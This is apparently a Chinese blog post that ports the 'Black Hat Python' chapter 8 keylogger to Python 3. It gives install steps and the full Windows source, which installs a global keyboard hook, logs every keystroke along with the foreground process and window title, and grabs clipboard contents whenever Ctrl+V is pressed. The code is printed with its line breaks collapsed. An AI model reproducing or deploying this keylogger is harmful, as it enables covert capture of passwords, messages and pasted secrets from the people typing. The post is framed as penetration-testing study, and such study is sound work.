Python3实现键盘记录器
python黑帽子:黑客与渗透测试编程之道。这本书上第八章有一个键盘记录器,但由于书上是python2实现的,以至于在现在无法运行,而且网上几乎没有使用python3实现的,因此自己尝试着实现了一下,但还是有一些问题。
首先是pythoncom和pyhook包的下载
pythoncom:
pip install pywin32
pyhook 下载:
下载链接:https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
下载完保存在一个目录之后,直接pip install xx,(xx是你安装包的位置)。
但是运行会出现以下错误:TypeError: KeyboardSwitch() missing 8 required positional arguments: ‘msg’, ‘vk_code’, ‘scan_code’, ‘ascii’, ‘flags’, ‘time’, ‘hwnd’, and ‘win_name’
此时需要安装pyhook3
pip install PyHook3
具体安装:https://www.cnblogs.com/pmh905001/p/12194504.html
下边是代码
from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboarduser32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = Nonedef get_current_process():# 获取最上层的窗口句柄hwnd = user32.GetForegroundWindow() # 获得前台窗口句柄pid = c_ulong(0)user32.GetWindowThreadProcessId(hwnd, byref(pid))process_id = "%d" % pid.value # 将进程ID存入变量中# 申请内存executable = create_string_buffer(1024)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512) # 获得进程名# 读取窗口标题window_title = create_string_buffer(512)length = user32.GetWindowTextA(hwnd, byref(window_title), 512) # 获得窗口名# 打印print()print("[PID: %s-%s-%s]" % (process_id, executable.value, window_title.value))# 关闭handleskernel32.CloseHandle(hwnd)kernel32.CloseHandle(h_process)# 定义击键监听事件函数
def key_event(event):global current_windowif event.WindowName != current_window: # 检查目标是否切换了窗口current_window = event.WindowNameget_current_process()print(" ")if event.Ascii > 32 and event.Ascii < 127: # 检查是否为常规按键print(chr(event.Ascii), end=" ")else:if event.Key == "V": # 如果是CTRL+V,则获取剪贴板内容win32clipboard.OpenClipboard()pasted_value = win32clipboard.GetClipboardData()win32clipboard.CloseClipboard()print("[PASTE] - %s" % (pasted_value), end=' ')else:print("[%s]" % event.Key, end=' ')# 循环监听下一个敲键事件return True # 返回到下一个钩子事件def key_logger():hooker = pyHook.HookManager() # 创建构造函数管理器hooker.KeyDown = key_event # 注册钩子按键事件的处理函数hooker.HookKeyboard() # 创建键盘钩子pythoncom.PumpMessages() # 执行if __name__ == "__main__":key_logger()
但是代码缺陷在于无法记录汉字,原本申请内存的代码为
#申请内存executable = create_string_buffer("\x00"*1024)h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #获得进程名
但是我这样运行会报以下错误:
但是改完之后又不能记录汉字,所以现在的代码只能记录字符。
Python3实现键盘记录器相关推荐
- Python实现一个键盘记录器功能
关于Python3--键盘记录 关于Python3--键盘记录 环境:windows 所需库: 函数划分 关于Python3--键盘记录 该方法仅为学习使用,切勿用于非法用途 用python做一个键盘 ...
- 使用Python实现键盘记录器和邮箱自动通知
文章目录 键盘记录器 参考 (1)键盘记录器-模块实现 (2)发送邮箱-模块实现 (3)模块合并 键盘记录器 参考 <python:搞事情!键盘记录并截屏>, 地址https://ba ...
- windows应用程序的开发一个键盘记录器
一 .创建一个C工程,添加一个CPP文件 名字随便起 #include <Windows.h>extern "C" __declspec(dllimport) BOOL ...
- Android设备新型恶意软件,融合银行木马、键盘记录器和移动勒索软件等功能
2019独角兽企业重金招聘Python工程师标准>>> 网络犯罪分子目前正在开发一种针对Android设备的新型恶意软件,它融合了银行木马.键盘记录器和移动勒索软件的功能. 根据来自 ...
- 手把手教你用SetWindowsHookEx做一个键盘记录器
"无忌,我教你的还记得多少?" "回太师傅,我只记得一大半." "那,现在呢?" "已经剩下一小半了." "那 ...
- Python编写键盘记录器
用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没 ...
- hook:实现简单的键盘记录器
说到hook技术,开始我真是一头雾水! 不久前看到一篇博客,实现 了一个简单的键盘记录器.我从中颇为受益!今天就来和大家分享一下我的一个小例子,并说说我的感悟! 首先就从main()函数开始吧,不过这 ...
- python键盘记录器_使用Python设计键盘记录器
在这里,我们将使用python开发键盘记录程序.但是在此之前,什么是键盘记录程序?键盘记录器是一个程序,我们使用它来监视击键.这些击键将存储在日志文件中.我们可以使用此按键记录敏感信息,例如用户名和密 ...
- windows 键盘记录器(win10下测试成功)
源码很简单,主要就是python黑帽子中键盘记录器的内容. 操作系统环境是win10 64位,环境python2.7, 用到的第三方库pyHook,pythoncom,win32clipboard.这 ...
最新文章
- Xcode 升级后,常常遇到的遇到的警告、错误,解决方法(转)
- C#和Java中“==”和“equals”区别
- 死锁发生的条件和预防
- 丈夫创业前后累计11次
- 量子计算机 并行,核磁共振量子计算机与并行量子计算.pdf
- 兔子吃萝卜java游戏下载_巴迪兔子吃萝卜
- 【Python】与或非的符号表示
- 测试架构师修炼之道--读书笔记
- win10专业版 原版安装教程
- 图像检测与分割标注文件XML/JSON/TXT一键批量转换编辑软件
- PhotoShop 之图层蒙版
- UE4 Async Loading Screen真异步加载插件使用傻瓜式教程
- 对开源软件的认识与实践-刘彬
- 如何在交通事故中保障自己的安全
- iSlide(PPT插件)
- [渝粤教育] 西南科技大学 律师实务 在线考试复习资料2021版(1)
- 分支和循环语句---循环语句
- 改进Python文字小游戏(4)
- 房产地籍数据精度表格
- 计算机毕业设计Python+django的零食销售商城网站(源码+系统+mysql数据库+Lw文档)